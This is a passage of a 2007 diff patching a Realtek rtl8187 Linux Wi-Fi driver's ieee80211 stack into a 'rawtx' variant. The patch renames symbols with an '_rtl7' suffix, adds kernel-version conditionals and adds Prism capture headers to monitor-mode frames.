IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-07-13 01:46:05.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_rx.c 2007-07-29 10:28:57.000000000 +0200 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 